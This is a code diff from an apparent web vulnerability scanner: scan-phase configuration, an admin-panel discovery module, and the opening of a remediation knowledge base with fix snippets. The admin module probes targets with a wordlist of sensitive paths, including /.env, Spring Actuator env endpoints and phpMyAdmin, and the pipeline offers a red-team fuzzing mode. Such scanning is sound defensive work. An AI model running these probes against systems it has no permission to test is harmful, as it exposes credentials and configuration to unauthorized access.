| 368 |
+
{
|
| 369 |
+
"name": "Phase 4: Crawl, Directory & Discovery",
|
| 370 |
+
"keys": {"fuzzer", "directory", "subdom", "subdomain_takeover",
|
| 371 |
+
"attack_surface", "custom_website", "api", "swagger",
|
| 372 |
+
"nikto", "broken_link", "admin_panel", "cms",
|
| 373 |
+
"graphql", "api_security"},
|
| 374 |
+
},
|
| 375 |
+
{
|
| 376 |
+
"name": "Phase 5: Logic, Access Control & Rate",
|
| 377 |
+
"keys": {"idor", "csrf", "open_redirect", "business_logic",
|
| 378 |
+
"race_condition", "rate_limiting", "mass_assignment",
|
| 379 |
+
"bypass_403", "request_smuggling", "websocket",
|
| 380 |
+
"file_upload", "second_order"},
|
| 381 |
+
},
|
| 382 |
+
{
|
| 383 |
+
"name": "Phase 6: Client-Side & Protocol",
|
| 384 |
+
"keys": {"host_header", "http_methods", "http_pollution",
|
| 385 |
+
"cache_poisoning", "cache_deception", "cache_control",
|
| 386 |
+
"dom_xss", "blind_xss", "csti", "postmessage",
|
| 387 |
+
"prototype_pollution", "dns_rebinding", "h2_desync",
|
| 388 |
+
"js_supply_chain", "service_worker", "webrtc",
|
| 389 |
+
"secrets"},
|
| 390 |
+
},
|
| 391 |
+
{
|
| 392 |
+
"name": "Phase 7: Heavy Scanners (ZAP & Nuclei)",
|
| 393 |
+
"keys": {"nuclei", "zap"},
|
| 394 |
+
},
|
| 395 |
+
{
|
| 396 |
+
"name": "Phase 8: AI Analysis",
|
| 397 |
+
"keys": {"ai_remediation"},
|
| 398 |
+
},
|
| 399 |
+
],
|
| 400 |
+
}
|
| 401 |
+
|
| 402 |
+
# Resolve aliases for phases
|
| 403 |
+
SCAN_PHASES["Standard"] = SCAN_PHASES["Advanced"]
|
| 404 |
+
SCAN_PHASES["Full"] = SCAN_PHASES["Advanced"]
|
| 405 |
+
SCAN_PHASES["OWASP"] = SCAN_PHASES["Advanced"]
|
| 406 |
+
SCAN_PHASES["SSL"] = [
|
| 407 |
+
{"name": "Phase 1: SSL/TLS Checks",
|
| 408 |
+
"keys": {"sslyze", "headers", "csp", "clickjacking"}},
|
| 409 |
+
]
|
| 410 |
+
SCAN_PHASES["Port"] = [
|
| 411 |
+
{"name": "Phase 1: Port Scan",
|
| 412 |
+
"keys": {"nmap"}},
|
| 413 |
+
]
|
| 414 |
+
|
| 415 |
+
|
| 416 |
+
def get_phases(scan_type: str) -> list:
|
| 417 |
+
"""Return the ordered phase list for the given scan type."""
|
| 418 |
+
return SCAN_PHASES.get(scan_type, SCAN_PHASES["Advanced"])
|
| 419 |
+
|
| 420 |
+
|
| 421 |
+
def get_pipeline(scan_type: str) -> list:
|
| 422 |
+
"""Return the scanner pipeline for the given scan_type string."""
|
| 423 |
+
return PIPELINES.get(scan_type, PIPELINES["Advanced"])
|
| 424 |
+
|
| 425 |
+
|
| 426 |
+
def apply_scan_options(pipeline: list, scan_type: str, scan_options: dict | None) -> list:
|
| 427 |
+
"""Merge user scan options (crawl depth, exclusions, red-team) into pipeline kwargs."""
|
| 428 |
+
options = scan_options or {}
|
| 429 |
+
crawl_depth = options.get("crawl_depth")
|
| 430 |
+
if crawl_depth is None:
|
| 431 |
+
crawl_depth = SCAN_TYPE_DEFAULT_DEPTH.get(scan_type, 10)
|
| 432 |
+
else:
|
| 433 |
+
crawl_depth = max(1, min(int(crawl_depth), 20))
|
| 434 |
+
|
| 435 |
+
exclude_paths = options.get("exclude_paths") or []
|
| 436 |
+
enable_red_team = options.get("enable_red_team", False)
|
| 437 |
+
|
| 438 |
+
updated = []
|
| 439 |
+
for name, cls, kwargs in pipeline:
|
| 440 |
+
merged = dict(kwargs)
|
| 441 |
+
if name in CRAWLER_SCANNERS:
|
| 442 |
+
merged["max_depth"] = crawl_depth
|
| 443 |
+
merged["exclude_paths"] = exclude_paths
|
| 444 |
+
if name == "fuzzer" and (enable_red_team or merged.get("red_team")):
|
| 445 |
+
merged["red_team"] = True
|
| 446 |
+
updated.append((name, cls, merged))
|
| 447 |
+
return updated
|
| 448 |
+
|
| 449 |
+
|
| 450 |
+
def build_scanner(name, cls, kwargs, scan_id, target, domain, auth_headers=None):
|
| 451 |
+
"""Instantiate a scanner with the correct kwargs."""
|
| 452 |
+
return cls(scan_id=scan_id, target=target, domain=domain,
|
| 453 |
+
auth_headers=auth_headers, **kwargs)
|
backend/scanners/admin_panel_scanner.py
ADDED
|
@@ -0,0 +1,195 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
admin_panel_scanner.py — Admin Panel & Exposed Dashboard Scanner
|
| 3 |
+
================================================================
|
| 4 |
+
PHASE 1: Baseline filtering added — only reports panels that are NOT the
|
| 5 |
+
site's generic SPA catch-all response.
|
| 6 |
+
PHASE 2: Content-signature validation for product-specific panels.
|
| 7 |
+
|
| 8 |
+
Probes a targeted wordlist of admin, monitoring, and developer dashboards
|
| 9 |
+
that are often left exposed. More targeted than the generic directory scanner.
|
| 10 |
+
"""
|
| 11 |
+
import urllib.request, urllib.error
|
| 12 |
+
from scanners.base_scanner import BaseScanner
|
| 13 |
+
from scanners.core.signatures import matches_signature
|
| 14 |
+
|
| 15 |
+
ADMIN_PATHS = [
|
| 16 |
+
# Generic admin panels
|
| 17 |
+
"/admin", "/admin/", "/admin/login", "/admin/dashboard",
|
| 18 |
+
"/_admin", "/administrator", "/admincp", "/admin1", "/admin2",
|
| 19 |
+
"/backend", "/backend/login", "/manage", "/management",
|
| 20 |
+
"/control", "/controlpanel", "/cp", "/cpanel",
|
| 21 |
+
# PHP tooling
|
| 22 |
+
"/phpmyadmin", "/pma", "/phpMyAdmin", "/phpmyadmin/", "/mysql",
|
| 23 |
+
"/adminer", "/adminer.php", "/db", "/database",
|
| 24 |
+
# Python/Django
|
| 25 |
+
"/django-admin", "/django/admin", "/_admin/",
|
| 26 |
+
# Java / Spring / JEE
|
| 27 |
+
"/manager", "/manager/html", "/host-manager", "/console",
|
| 28 |
+
"/actuator", "/actuator/health", "/actuator/env",
|
| 29 |
+
"/actuator/beans", "/actuator/mappings", "/actuator/info",
|
| 30 |
+
"/jolokia", "/jolokia/list", "/druid", "/druid/login.html",
|
| 31 |
+
# CI/CD & DevOps
|
| 32 |
+
"/jenkins", "/jenkins/", "/jenkins/login",
|
| 33 |
+
"/gitlab", "/gitlab/users/sign_in",
|
| 34 |
+
"/sonarqube", "/sonar",
|
| 35 |
+
# Monitoring / Observability
|
| 36 |
+
"/grafana", "/grafana/login",
|
| 37 |
+
"/kibana", "/kibana/app/kibana",
|
| 38 |
+
"/prometheus", "/metrics", "/_prometheus/metrics",
|
| 39 |
+
"/jaeger", "/zipkin",
|
| 40 |
+
# Messaging & Queues
|
| 41 |
+
"/rabbitmq", "/rabbitmq-management",
|
| 42 |
+
"/activemq", "/activemq/admin",
|
| 43 |
+
"/kafka", "/kafka-ui",
|
| 44 |
+
# Container / Cloud
|
| 45 |
+
"/portainer", "/rancher", "/kubernetes",
|
| 46 |
+
"/_cluster/health", "/_cat/nodes", # Elasticsearch
|
| 47 |
+
# CMS / CRM
|
| 48 |
+
"/wp-admin", "/wp-login.php",
|
| 49 |
+
"/typo3", "/typo3/backend",
|
| 50 |
+
"/joomla/administrator", "/index.php?option=com_admin",
|
| 51 |
+
# Misc
|
| 52 |
+
"/setup", "/setup.php", "/install", "/install.php",
|
| 53 |
+
"/config", "/config.php", "/.env", "/server-status",
|
| 54 |
+
"/server-info", "/status", "/info.php", "/phpinfo.php",
|
| 55 |
+
]
|
| 56 |
+
|
| 57 |
+
ADMIN_KEYWORDS = [
|
| 58 |
+
"login", "dashboard", "admin", "username", "password",
|
| 59 |
+
"sign in", "control panel", "management", "welcome back",
|
| 60 |
+
"<form", "Log In", "Sign In",
|
| 61 |
+
]
|
| 62 |
+
|
| 63 |
+
# Map paths → signature keys for product-specific validation
|
| 64 |
+
_PATH_SIG_MAP: dict[str, str] = {
|
| 65 |
+
"/jenkins": "jenkins",
|
| 66 |
+
"/jenkins/": "jenkins",
|
| 67 |
+
"/jenkins/login": "jenkins",
|
| 68 |
+
"/grafana": "grafana",
|
| 69 |
+
"/grafana/login": "grafana",
|
| 70 |
+
"/kibana": "kibana",
|
| 71 |
+
"/kibana/app/kibana": "kibana",
|
| 72 |
+
"/prometheus": "prometheus",
|
| 73 |
+
"/phpmyadmin": "phpmyadmin",
|
| 74 |
+
"/pma": "phpmyadmin",
|
| 75 |
+
"/phpMyAdmin": "phpmyadmin",
|
| 76 |
+
"/phpmyadmin/": "phpmyadmin",
|
| 77 |
+
"/adminer": "adminer",
|
| 78 |
+
"/adminer.php": "adminer",
|
| 79 |
+
"/phpinfo.php": "phpinfo",
|
| 80 |
+
"/info.php": "phpinfo",
|
| 81 |
+
"/wp-login.php": "wp_login",
|
| 82 |
+
"/wp-admin": "wp_login",
|
| 83 |
+
"/_cluster/health": "elasticsearch",
|
| 84 |
+
"/actuator": "spring_actuator",
|
| 85 |
+
"/actuator/health": "spring_actuator",
|
| 86 |
+
"/actuator/env": "spring_actuator_env",
|
| 87 |
+
"/portainer": "portainer",
|
| 88 |
+
}
|
| 89 |
+
|
| 90 |
+
|
| 91 |
+
class AdminPanelScanner(BaseScanner):
|
| 92 |
+
SCANNER_NAME = "Admin Panel & Dashboard Scanner"
|
| 93 |
+
_SCANNER_KEY = "admin_panel"
|
| 94 |
+
|
| 95 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 96 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 97 |
+
|
| 98 |
+
def run(self) -> list:
|
| 99 |
+
self.log("INFO", f"[AdminPanel] Probing {len(ADMIN_PATHS)} admin/dashboard paths on {self.target}...")
|
| 100 |
+
base = self.target.rstrip("/")
|
| 101 |
+
found = []
|
| 102 |
+
|
| 103 |
+
for path in ADMIN_PATHS:
|
| 104 |
+
url = base + path
|
| 105 |
+
status, body = self._probe(url)
|
| 106 |
+
|
| 107 |
+
if status == 200 and body is not None:
|
| 108 |
+
# PHASE 1: Suppress if response is the site's SPA/404 catch-all
|
| 109 |
+
if self._is_baseline(status, body):
|
| 110 |
+
self.log("INFO", f"[AdminPanel] SUPPRESSED (baseline match, {len(body)}b): {url}")
|
| 111 |
+
continue
|
| 112 |
+
|
| 113 |
+
# Minimum content threshold — avoid near-empty redirect bodies
|
| 114 |
+
if len(body) < 200:
|
| 115 |
+
self.log("INFO", f"[AdminPanel] SKIPPED (body too small, {len(body)}b): {url}")
|
| 116 |
+
continue
|
| 117 |
+
|
| 118 |
+
# PHASE 2: Product-specific signature check
|
| 119 |
+
sig_key = _PATH_SIG_MAP.get(path)
|
| 120 |
+
if sig_key:
|
| 121 |
+
if not matches_signature(sig_key, body, log_fn=lambda m: self.log("INFO", m), url=url):
|
| 122 |
+
continue
|
| 123 |
+
else:
|
| 124 |
+
# Generic admin check: must contain admin keywords AND a form element
|
| 125 |
+
body_lower = body.lower()
|
| 126 |
+
has_keyword = any(kw.lower() in body_lower for kw in ADMIN_KEYWORDS)
|
| 127 |
+
has_form = "<form" in body_lower
|
| 128 |
+
if not (has_keyword and has_form):
|
| 129 |
+
self.log("INFO", f"[AdminPanel] SKIPPED (no keyword+form match): {url}")
|
| 130 |
+
continue
|
| 131 |
+
|
| 132 |
+
found.append((path, status, len(body)))
|
| 133 |
+
self.log("WARNING", f"[AdminPanel] FOUND: {url} ({status}, {len(body)}b)")
|
| 134 |
+
|
| 135 |
+
elif status in (401, 403):
|
| 136 |
+
# Access denied — still confirms presence of a panel
|
| 137 |
+
found.append((path, status, 0))
|
| 138 |
+
self.log("INFO", f"[AdminPanel] Protected (HTTP {status}): {url}")
|
| 139 |
+
|
| 140 |
+
if found:
|
| 141 |
+
public = [(p, s, b) for p, s, b in found if s == 200]
|
| 142 |
+
protected = [(p, s, b) for p, s, b in found if s in (401, 403)]
|
| 143 |
+
|
| 144 |
+
if public:
|
| 145 |
+
self.add_vuln(
|
| 146 |
+
title=f"Unauthenticated Admin Panels Found ({len(public)})",
|
| 147 |
+
severity="Critical",
|
| 148 |
+
category="Exposed Admin Panel",
|
| 149 |
+
cvss_score=9.8,
|
| 150 |
+
confidence="Confirmed",
|
| 151 |
+
description=(
|
| 152 |
+
f"The following admin/dashboard endpoints are publicly accessible (HTTP 200) "
|
| 153 |
+
f"without authentication:\n\n" +
|
| 154 |
+
"\n".join(f"- `{base + p}` ({b} bytes)" for p, s, b in public[:10])
|
| 155 |
+
),
|
| 156 |
+
remediation=(
|
| 157 |
+
"1. Immediately restrict admin panels to internal IPs / VPN only.\n"
|
| 158 |
+
"2. Require MFA on all administrative interfaces.\n"
|
| 159 |
+
"3. Remove development tools (phpMyAdmin, Adminer) from production.\n"
|
| 160 |
+
"4. Disable Spring Actuator endpoints: management.endpoints.enabled-by-default=false"
|
| 161 |
+
),
|
| 162 |
+
evidence=f"{len(public)} unauthenticated admin path(s) found, verified against site baseline.",
|
| 163 |
+
)
|
| 164 |
+
if protected:
|
| 165 |
+
self.add_vuln(
|
| 166 |
+
title=f"Admin Panels Discovered But Access-Controlled ({len(protected)})",
|
| 167 |
+
severity="Medium",
|
| 168 |
+
category="Exposed Admin Panel",
|
| 169 |
+
cvss_score=5.3,
|
| 170 |
+
confidence="Likely",
|
| 171 |
+
description=(
|
| 172 |
+
f"Admin panels exist but return 401/403:\n\n" +
|
| 173 |
+
"\n".join(f"- `{base + p}` (HTTP {s})" for p, s, b in protected[:10]) +
|
| 174 |
+
"\n\nWhile protected, their existence aids attacker reconnaissance "
|
| 175 |
+
"and they remain vulnerable to credential stuffing."
|
| 176 |
+
),
|
| 177 |
+
remediation=(
|
| 178 |
+
"Restrict admin paths to internal networks. Return 404 (not 403) "
|
| 179 |
+
"for admin paths when accessed externally to reduce information disclosure."
|
| 180 |
+
),
|
| 181 |
+
)
|
| 182 |
+
else:
|
| 183 |
+
self.log("SUCCESS", "[AdminPanel] No admin panels or dashboards found.")
|
| 184 |
+
return self.vulns
|
| 185 |
+
|
| 186 |
+
def _probe(self, url):
|
| 187 |
+
try:
|
| 188 |
+
req = urllib.request.Request(url, headers=self._make_headers())
|
| 189 |
+
with urllib.request.urlopen(req, timeout=4, context=self.get_ssl_context()) as r:
|
| 190 |
+
return r.status, r.read().decode("utf-8", errors="ignore")
|
| 191 |
+
except urllib.error.HTTPError as e:
|
| 192 |
+
return e.code, ""
|
| 193 |
+
except Exception as e:
|
| 194 |
+
self.log("ERROR", f"[AdminPanel] _probe error: {e}")
|
| 195 |
+
return 0, ""
|
backend/scanners/ai_remediation_scanner.py
ADDED
|
@@ -0,0 +1,401 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
ai_remediation_scanner.py — AI-Powered Remediation Generator
|
| 3 |
+
=============================================================
|
| 4 |
+
Post-processes all accumulated scan findings and generates:
|
| 5 |
+
1. Prioritized remediation plan (by CVSS score + exploitability)
|
| 6 |
+
2. Contextual, stack-aware fix guidance (detects PHP/Node/Python/Java)
|
| 7 |
+
3. Estimated fix effort (hours) per vulnerability
|
| 8 |
+
4. Executive risk summary
|
| 9 |
+
5. Code snippet examples for common fixes
|
| 10 |
+
|
| 11 |
+
This scanner should run LAST in the pipeline (it reads other scanners' findings
|
| 12 |
+
from the shared in-memory log). In pipeline runs it reads from BaseScanner.all_vulns
|
| 13 |
+
injected via the orchestrator. In standalone mode it reads the JSON report.
|
| 14 |
+
|
| 15 |
+
Optionally uses OpenAI API if OPENAI_API_KEY is set in environment.
|
| 16 |
+
"""
|
| 17 |
+
import os, re, json, urllib.request
|
| 18 |
+
from scanners.base_scanner import BaseScanner, active_scan_logs
|
| 19 |
+
|
| 20 |
+
# ── Remediation knowledge base ─────────────────────────────────────────────
|
| 21 |
+
# Maps vuln title keywords -> {effort_hours, stack_hints, code_example}
|
| 22 |
+
KNOWLEDGE_BASE = {
|
| 23 |
+
"missing security header": {
|
| 24 |
+
"effort": 0.5,
|
| 25 |
+
"tags": ["headers", "quick-win"],
|
| 26 |
+
"code": {
|
| 27 |
+
"nginx": 'add_header {HEADER} "{VALUE}" always;',
|
| 28 |
+
"apache": 'Header always set {HEADER} "{VALUE}"',
|
| 29 |
+
"express": 'app.use(helmet()); // npm install helmet',
|
| 30 |
+
"django": 'SECURE_BROWSER_XSS_FILTER = True # settings.py',
|
| 31 |
+
"laravel": '// Use spatie/laravel-csp package',
|
| 32 |
+
},
|
| 33 |
+
},
|
| 34 |
+
"content security policy": {
|
| 35 |
+
"effort": 4,
|
| 36 |
+
"tags": ["csp", "medium-effort"],
|
| 37 |
+
"code": {
|
| 38 |
+
"nginx": "add_header Content-Security-Policy \"default-src 'self'; script-src 'self' 'nonce-{RANDOM}'\" always;",
|
| 39 |
+
"express": "app.use(helmet.contentSecurityPolicy({directives:{defaultSrc:[\"'self'\"]}}));",
|
| 40 |
+
},
|
| 41 |
+
},
|
| 42 |
+
"sql injection": {
|
| 43 |
+
"effort": 8,
|
| 44 |
+
"tags": ["injection", "critical", "high-effort"],
|
| 45 |
+
"code": {
|
| 46 |
+
"python": "cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))",
|
| 47 |
+
"php": "$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?'); $stmt->execute([$id]);",
|
| 48 |
+
"node": "db.query('SELECT * FROM users WHERE id = $1', [userId])",
|
| 49 |
+
"java": "PreparedStatement ps = conn.prepareStatement(\"SELECT * FROM users WHERE id = ?\"); ps.setInt(1, id);",
|
| 50 |
+
},
|
| 51 |
+
},
|
| 52 |
+
"xss": {
|
| 53 |
+
"effort": 6,
|
| 54 |
+
"tags": ["injection", "high-effort"],
|
| 55 |
+
"code": {
|
| 56 |
+
"python": "from markupsafe import escape; safe = escape(user_input)",
|
| 57 |
+
"php": "echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');",
|
| 58 |
+
"node": "const he = require('he'); safe = he.encode(userInput);",
|
| 59 |
+
"react": "// React auto-escapes by default. Never use dangerouslySetInnerHTML.",
|
| 60 |
+
},
|
| 61 |
+
},
|
| 62 |
+
"csrf": {
|
| 63 |
+
"effort": 4,
|
| 64 |
+
"tags": ["csrf", "medium-effort"],
|
| 65 |
+
"code": {
|
| 66 |
+
"django": "{% csrf_token %} <!-- in template; middleware enabled by default -->",
|
| 67 |
+
"laravel": "@csrf <!-- Blade directive; VerifyCsrfToken middleware active -->",
|
| 68 |
+
"express": "const csrf = require('csurf'); app.use(csrf());",
|
| 69 |
+
"flask": "from flask_wtf import CSRFProtect; csrf = CSRFProtect(app)",
|
| 70 |
+
},
|
| 71 |
+
},
|
| 72 |
+
"clickjacking": {
|
| 73 |
+
"effort": 0.5,
|
| 74 |
+
"tags": ["headers", "quick-win"],
|
| 75 |
+
"code": {
|
| 76 |
+
"nginx": "add_header X-Frame-Options \"DENY\" always;\nadd_header Content-Security-Policy \"frame-ancestors 'none'\" always;",
|
| 77 |
+
"apache": "Header always set X-Frame-Options \"DENY\"",
|
| 78 |
+
},
|
| 79 |
+
},
|
| 80 |
+
"ssl": {
|
| 81 |
+
"effort": 2,
|
| 82 |
+
"tags": ["tls", "medium-effort"],
|
| 83 |
+
"code": {
|
| 84 |
+
"nginx": "ssl_protocols TLSv1.2 TLSv1.3;\nssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;\nssl_prefer_server_ciphers off;",
|
| 85 |
+
"apache": "SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1\nSSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256",
|
| 86 |
+
},
|
| 87 |
+
},
|
| 88 |
+
"hsts": {
|
| 89 |
+
"effort": 0.5,
|
| 90 |
+
"tags": ["headers", "quick-win"],
|
| 91 |
+
"code": {
|
| 92 |
+
"nginx": 'add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;',
|
| 93 |
+
"apache": 'Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"',
|
| 94 |
+
},
|
| 95 |
+
},
|
| 96 |
+
"open redirect": {
|
| 97 |
+
"effort": 3,
|
| 98 |
+
"tags": ["redirect", "medium-effort"],
|
| 99 |
+
"code": {
|
| 100 |
+
"python": "from urllib.parse import urlparse\nif urlparse(dest).netloc not in ALLOWED_HOSTS: dest = '/'",
|
| 101 |
+
"php": "$allowed = ['example.com'];\nif (!in_array(parse_url($url, PHP_URL_HOST), $allowed)) $url = '/';",
|
| 102 |
+
"node": "const allowed = ['example.com'];\nif (!allowed.includes(new URL(dest).hostname)) dest = '/';",
|
| 103 |
+
},
|
| 104 |
+
},
|
| 105 |
+
"cookie": {
|
| 106 |
+
"effort": 1,
|
| 107 |
+
"tags": ["cookies", "quick-win"],
|
| 108 |
+
"code": {
|
| 109 |
+
"nginx": "proxy_cookie_flags ~ Secure HttpOnly SameSite=Strict;",
|
| 110 |
+
"express": "res.cookie('session', val, {httpOnly:true, secure:true, sameSite:'strict'});",
|
| 111 |
+
"django": "SESSION_COOKIE_SECURE = True\nSESSION_COOKIE_HTTPONLY = True\nSESSION_COOKIE_SAMESITE = 'Strict'",
|
| 112 |
+
"php": "session_set_cookie_params(['secure'=>true,'httponly'=>true,'samesite'=>'Strict']);",
|
| 113 |
+
},
|
| 114 |
+
},
|
| 115 |
+
"lfi": {
|
| 116 |
+
"effort": 6,
|
| 117 |
+
"tags": ["injection", "high-effort"],
|
| 118 |
+
"code": {
|
| 119 |
+
"php": "$allowed = ['home','about','contact'];\nif (!in_array($page, $allowed)) die('Forbidden');\ninclude \"pages/{$page}.php\";",
|
| 120 |
+
"python": "ALLOWED_PAGES = {'home': 'home.html', 'about': 'about.html'}\ntemplate = ALLOWED_PAGES.get(page_param, '404.html')",
|
| 121 |
+
},
|
| 122 |
+
},
|
| 123 |
+
"ssti": {
|
| 124 |
+
"effort": 8,
|
| 125 |
+
"tags": ["injection", "critical", "high-effort"],
|
| 126 |
+
"code": {
|
| 127 |
+
"python": "from jinja2.sandbox import SandboxedEnvironment\nenv = SandboxedEnvironment()\n# Never use render_template_string(user_input)",
|
| 128 |
+
"php": "// Use Twig sandbox:\n$policy = new SecurityPolicy($tags,$filters);\n$sandbox = new SandboxExtension($policy);\n$twig->addExtension($sandbox);",
|
| 129 |
+
},
|
| 130 |
+
},
|
| 131 |
+
"secret": {
|
| 132 |
+
"effort": 2,
|
| 133 |
+
"tags": ["secrets", "critical"],
|
| 134 |
+
"code": {
|
| 135 |
+
"general": "# Use environment variables:\nimport os\nAPI_KEY = os.environ['API_KEY']\n\n# Or a secrets manager:\n# AWS Secrets Manager, HashiCorp Vault, Azure Key Vault",
|
| 136 |
+
},
|
| 137 |
+
},
|
| 138 |
+
"git": {
|
